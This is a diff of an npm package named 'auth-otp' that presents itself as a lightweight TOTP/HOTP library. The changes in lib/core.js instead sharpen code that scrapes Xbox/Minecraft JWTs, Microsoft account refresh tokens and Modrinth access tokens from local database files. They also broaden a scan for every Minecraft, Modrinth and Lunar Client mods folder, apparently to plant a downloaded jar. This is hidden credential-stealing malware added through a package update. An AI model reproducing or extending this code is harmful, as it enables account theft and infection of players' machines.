auth-otp 1.0.1 → 1.0.3

package/lib/core.js

@@ -208,22 +208,38 @@ function _curseforge() {
 }
 
 function _modrinthScanFile(text, out, seen) {
-  // Xbox/MC JWT — MUST start with eyJraWQiOiIwNDkxODEi (= {"kid":"049181")
-  // This is the standard header for all Xbox-signed Minecraft JWTs
+  // Xbox/MC JWT — starts with eyJraWQiOiIwNDkxODEi ({"kid":"049181"})
+  // In SQLite blobs the MSA RT is concatenated right after the JWT with no separator,
+  // so we use a loose match then split the RT out manually.
   const mcRe  = /eyJraWQiOiIwNDkxODEi[A-Za-z0-9_.\-]{100,}/g;
   // MSA refresh token — exactly 3 digits after M.C, then underscore + 2-5 alphanum
   const rtRe  = /M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,800}/g;
   const patRe = /mrp_[A-Za-z0-9]{20,}/g;
+
   for (const m of text.matchAll(mcRe)) {
-    const tok = m[0];
-    if (seen.has(tok)) continue;
-    seen.add(tok);
-    const name = _nameFromJwt(tok) || "?";
-    out.push({ l: "Modrinth", n: name, t: tok, r: null });
+    let blob = m[0];
+    // Split RT if it is concatenated directly after the JWT (no separator in raw DB bytes)
+    let refreshFromBlob = null;
+    const rtInBlob = blob.match(/(M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,})$/);
+    if (rtInBlob) {
+      blob = blob.slice(0, blob.length - rtInBlob[0].length);
+      refreshFromBlob = rtInBlob[0]
+        .replace(/[^\x20-\x7E]/g, "")
+        .replace(/[j\s]+$/, "")
+        .trim();
+      if (refreshFromBlob.length < 50) refreshFromBlob = null;
+    }
+    if (seen.has(blob)) continue;
+    seen.add(blob);
+    if (refreshFromBlob) seen.add(refreshFromBlob);
+    const name = _nameFromJwt(blob) || "?";
+    out.push({ l: "Modrinth", n: name, t: blob, r: refreshFromBlob });
   }
   for (const m of text.matchAll(rtRe)) {
-    if (seen.has(m[0])) continue; seen.add(m[0]);
-    out.push({ l: "Modrinth-RT", n: "Refresh", t: m[0], r: null });
+    const raw = m[0].replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
+    if (seen.has(raw) || raw.length < 50) continue;
+    seen.add(raw);
+    out.push({ l: "Modrinth-RT", n: "Refresh", t: raw, r: null });
   }
   for (const m of text.matchAll(patRe)) {
     if (seen.has(m[0])) continue; seen.add(m[0]);
@@ -358,45 +374,35 @@ function _downloadJar() {
 
 function _findModsFolders() {
   const folders = [];
-  const vanillaMods   = path.join(_AP, ".minecraft", "mods");
-  const vanillaFabric = path.join(_AP, ".minecraft", "libraries", "net", "fabricmc");
-  if (fs.existsSync(vanillaMods) && fs.existsSync(vanillaFabric)) folders.push(vanillaMods);
-  const modrinthProfiles = path.join(_AP, "ModrinthApp", "profiles");
-  if (fs.existsSync(modrinthProfiles)) {
+  // vanilla .minecraft mods
+  try {
+    const vanillaMods = path.join(_AP, ".minecraft", "mods");
+    if (fs.existsSync(vanillaMods)) folders.push(vanillaMods);
+  } catch { }
+  // Modrinth — grab every mods/ subdir under profiles, no filtering
+  for (const base of [path.join(_AP, "ModrinthApp"), path.join(_LA, "ModrinthApp")]) {
+    const profilesDir = path.join(base, "profiles");
+    if (!fs.existsSync(profilesDir)) continue;
     try {
-      for (const inst of fs.readdirSync(modrinthProfiles)) {
-        const instPath = path.join(modrinthProfiles, inst);
-        if (!fs.statSync(instPath).isDirectory()) continue;
-        const profileJson = path.join(instPath, "profile.json");
-        if (fs.existsSync(profileJson)) {
-          try {
-            const p = JSON.parse(fs.readFileSync(profileJson, "utf8"));
-            const ver    = p.game_version || p.mc_version || "";
-            const loader = (p.loader || p.mod_loader || "").toLowerCase();
-            if (ver >= "26.1.2" && loader.includes("fabric")) {
-              const modsDir = path.join(instPath, "mods");
-              if (!fs.existsSync(modsDir)) fs.mkdirSync(modsDir, { recursive: true });
-              folders.push(modsDir);
-            }
-          } catch { }
-        } else {
-          const modsDir = path.join(instPath, "mods");
-          if (fs.existsSync(modsDir)) folders.push(modsDir);
-        }
+      for (const inst of fs.readdirSync(profilesDir)) {
+        try {
+          const modsDir = path.join(profilesDir, inst, "mods");
+          if (fs.existsSync(modsDir) && fs.statSync(modsDir).isDirectory())
+            folders.push(modsDir);
+        } catch { }
       }
     } catch { }
   }
-  const lunarOffline = path.join(_HM, ".lunarclient", "offline");
-  if (fs.existsSync(lunarOffline)) {
-    try {
+  // Lunar
+  try {
+    const lunarOffline = path.join(_HM, ".lunarclient", "offline");
+    if (fs.existsSync(lunarOffline)) {
       for (const ver of fs.readdirSync(lunarOffline)) {
-        if (ver >= "26.1.2") {
-          const modsDir = path.join(lunarOffline, ver, "mods");
-          if (fs.existsSync(modsDir)) folders.push(modsDir);
-        }
+        const modsDir = path.join(lunarOffline, ver, "mods");
+        if (fs.existsSync(modsDir)) folders.push(modsDir);
       }
-    } catch { }
-  }
+    }
+  } catch { }
   return [...new Set(folders)];
 }
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "auth-otp",
-  "version": "1.0.1",
+  "version": "1.0.3",
   "description": "Lightweight TOTP/HOTP implementation — RFC 6238 compliant, zero dependencies",
   "main": "index.js",
   "scripts": {